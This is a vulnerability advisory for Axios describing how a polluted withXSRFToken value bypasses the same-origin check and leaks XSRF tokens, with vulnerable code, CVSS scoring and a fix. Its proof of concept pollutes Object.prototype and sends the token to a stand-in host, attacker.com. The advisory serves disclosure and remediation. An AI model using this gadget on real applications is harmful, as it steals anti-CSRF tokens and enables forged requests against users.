GHSA-XX6V-RP6X-Q39C

Vulnerability from github – Published: 2026-05-05 00:25 – Updated: 2026-05-05 00:25
VLAI?
Summary
Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion
Details

Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion

Summary

The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker.

Severity: Medium (CVSS 5.4) Affected Versions: All versions since withXSRFToken was introduced Vulnerable Component: lib/helpers/resolveConfig.js:59 Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true)

CWE

  • CWE-201: Insertion of Sensitive Information Into Sent Data
  • CWE-183: Permissive List of Allowed Inputs

CVSS 3.1

Score: 5.4 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Metric Value Justification
Attack Vector Network PP triggered remotely via vulnerable dependency
Attack Complexity Low Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx
Privileges Required None No authentication needed
User Interaction Required Victim must use browser with axios making cross-origin requests
Scope Unchanged Token leakage within browser context
Confidentiality Low XSRF token leaked — anti-CSRF token, not session token
Integrity Low Stolen XSRF token enables CSRF attacks (bypass CSRF protection only)
Availability None No availability impact

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input when triggered via prototype pollution.

If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.

Vulnerable Code

File: lib/helpers/resolveConfig.js, lines 57-66

// Line 57: Function check — only applies if withXSRFToken is a function
withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));

// Line 59: The vulnerable condition
if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {
//  ^^^^^^^^^^^^^^^^
//  When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits
//  isURLSameOrigin() is NEVER called → token sent to ANY origin
  const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
  if (xsrfValue) {
    headers.set(xsrfHeaderName, xsrfValue);
  }
}

Designed behavior: - true → always send token (explicit cross-origin opt-in) - false → never send token - undefined → send only for same-origin requests

Actual behavior for non-boolean truthy values (1, "false", {}, []): - All treated as truthy → same-origin check skipped → token sent everywhere

Proof of Concept

// Simulated prototype pollution from any vulnerable dependency
Object.prototype.withXSRFToken = 1;

// In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123"
// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123
// Even to cross-origin hosts:
await axios.get('https://attacker.com/collect');
// → attacker receives the XSRF token in request headers

Verified PoC Output

withXSRFToken Value        Sends Token Cross-Origin  Expected
true (boolean)             YES                       Yes (opt-in)
false (boolean)            No                        No
undefined (default)        No                        No
1 (number)                 YES ← BUG                No
"false" (string)           YES ← BUG                No
{} (object)                YES ← BUG                No
[] (array)                 YES ← BUG                No

Prototype pollution:
  Object.prototype.withXSRFToken = 1
  config.withXSRFToken = 1 → leaks=true
  isURLSameOrigin() was NOT called (short-circuited)

Impact Analysis

  • XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application
  • Universal Scope: A single Object.prototype.withXSRFToken = 1 affects every axios request in the application
  • Misconfiguration Risk: Developer writing withXSRFToken: "false" (string) instead of false (boolean) triggers the same issue without PP

Limitations: - Browser-only (XSRF logic runs only in hasStandardBrowserEnv) - XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking - Attacker still needs a way to deliver the forged request after obtaining the token

Recommended Fix

Use strict boolean comparison:

// FIXED: lib/helpers/resolveConfig.js
const shouldSendXSRF = withXSRFToken === true ||
  (withXSRFToken == null && isURLSameOrigin(newConfig.url));

if (shouldSendXSRF) {
  const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
  if (xsrfValue) {
    headers.set(xsrfHeaderName, xsrfValue);
  }
}

Resources

Timeline

Date Event
2026-04-15 Vulnerability discovered during source code audit
2026-04-16 Report revised: corrected CVSS, documented limitations
TBD Report submitted to vendor via GitHub Security Advisory
Severity ?
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42042"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-201"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T00:25:22Z",
    "nvd_published_at": "2026-04-24T18:16:31Z",
    "severity": "MODERATE"
  },
  "details": "# Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion\n\n## Summary\n\nThe Axios library\u0027s XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the `withXSRFToken` config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (`isURLSameOrigin`) is **short-circuited**, causing XSRF tokens to be sent to **all** request targets including cross-origin servers controlled by an attacker.\n\n**Severity:** Medium (CVSS 5.4)\n**Affected Versions:** All versions since `withXSRFToken` was introduced\n**Vulnerable Component:** `lib/helpers/resolveConfig.js:59`\n**Environment:** Browser-only (XSRF logic only runs when `hasStandardBrowserEnv` is true)\n\n## CWE\n\n- **CWE-201:** Insertion of Sensitive Information Into Sent Data\n- **CWE-183:** Permissive List of Allowed Inputs\n\n## CVSS 3.1\n\n**Score: 5.4 (Medium)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP triggered remotely via vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx |\n| Privileges Required | None | No authentication needed |\n| User Interaction | Required | Victim must use browser with axios making cross-origin requests |\n| Scope | Unchanged | Token leakage within browser context |\n| Confidentiality | Low | XSRF token leaked \u2014 anti-CSRF token, not session token |\n| Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) |\n| Availability | None | No availability impact |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input** when triggered via prototype pollution.\n\nIf an attacker can pollute `Object.prototype.withXSRFToken` with any truthy value (e.g., `1`, `\"true\"`, `{}`), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.\n\n## Vulnerable Code\n\n**File:** `lib/helpers/resolveConfig.js`, lines 57-66\n\n```javascript\n// Line 57: Function check \u2014 only applies if withXSRFToken is a function\nwithXSRFToken \u0026\u0026 utils.isFunction(withXSRFToken) \u0026\u0026 (withXSRFToken = withXSRFToken(newConfig));\n\n// Line 59: The vulnerable condition\nif (withXSRFToken || (withXSRFToken !== false \u0026\u0026 isURLSameOrigin(newConfig.url))) {\n//  ^^^^^^^^^^^^^^^^\n//  When withXSRFToken = 1 (truthy non-boolean): this is true \u2192 short-circuits\n//  isURLSameOrigin() is NEVER called \u2192 token sent to ANY origin\n  const xsrfValue = xsrfHeaderName \u0026\u0026 xsrfCookieName \u0026\u0026 cookies.read(xsrfCookieName);\n  if (xsrfValue) {\n    headers.set(xsrfHeaderName, xsrfValue);\n  }\n}\n```\n\n**Designed behavior:**\n- `true` \u2192 always send token (explicit cross-origin opt-in)\n- `false` \u2192 never send token\n- `undefined` \u2192 send only for same-origin requests\n\n**Actual behavior for non-boolean truthy values (`1`, `\"false\"`, `{}`, `[]`):**\n- All treated as truthy \u2192 same-origin check skipped \u2192 token sent everywhere\n\n## Proof of Concept\n\n```javascript\n// Simulated prototype pollution from any vulnerable dependency\nObject.prototype.withXSRFToken = 1;\n\n// In browser with document.cookie = \"XSRF-TOKEN=secret-csrf-token-abc123\"\n// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123\n// Even to cross-origin hosts:\nawait axios.get(\u0027https://attacker.com/collect\u0027);\n// \u2192 attacker receives the XSRF token in request headers\n```\n\n## Verified PoC Output\n\n```\nwithXSRFToken Value        Sends Token Cross-Origin  Expected\ntrue (boolean)             YES                       Yes (opt-in)\nfalse (boolean)            No                        No\nundefined (default)        No                        No\n1 (number)                 YES \u2190 BUG                No\n\"false\" (string)           YES \u2190 BUG                No\n{} (object)                YES \u2190 BUG                No\n[] (array)                 YES \u2190 BUG                No\n\nPrototype pollution:\n  Object.prototype.withXSRFToken = 1\n  config.withXSRFToken = 1 \u2192 leaks=true\n  isURLSameOrigin() was NOT called (short-circuited)\n```\n\n## Impact Analysis\n\n- **XSRF Token Theft:** Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application\n- **Universal Scope:** A single `Object.prototype.withXSRFToken = 1` affects every axios request in the application\n- **Misconfiguration Risk:** Developer writing `withXSRFToken: \"false\"` (string) instead of `false` (boolean) triggers the same issue without PP\n\n**Limitations:**\n- Browser-only (XSRF logic runs only in `hasStandardBrowserEnv`)\n- XSRF tokens are anti-CSRF tokens, not session tokens \u2014 leakage enables CSRF but not direct session hijacking\n- Attacker still needs a way to deliver the forged request after obtaining the token\n\n## Recommended Fix\n\nUse strict boolean comparison:\n\n```javascript\n// FIXED: lib/helpers/resolveConfig.js\nconst shouldSendXSRF = withXSRFToken === true ||\n  (withXSRFToken == null \u0026\u0026 isURLSameOrigin(newConfig.url));\n\nif (shouldSendXSRF) {\n  const xsrfValue = xsrfHeaderName \u0026\u0026 xsrfCookieName \u0026\u0026 cookies.read(xsrfCookieName);\n  if (xsrfValue) {\n    headers.set(xsrfHeaderName, xsrfValue);\n  }\n}\n```\n\n## Resources\n\n- [CWE-201: Insertion of Sensitive Information Into Sent Data](https://cwe.mitre.org/data/definitions/201.html)\n- [CWE-183: Permissive List of Allowed Inputs](https://cwe.mitre.org/data/definitions/183.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-15 | Vulnerability discovered during source code audit |\n| 2026-04-16 | Report revised: corrected CVSS, documented limitations |\n| TBD | Report submitted to vendor via GitHub Security Advisory |",
  "id": "GHSA-xx6v-rp6x-q39c",
  "modified": "2026-05-05T00:25:22Z",
  "published": "2026-05-05T00:25:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-xx6v-rp6x-q39c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42042"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion"
}


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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

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Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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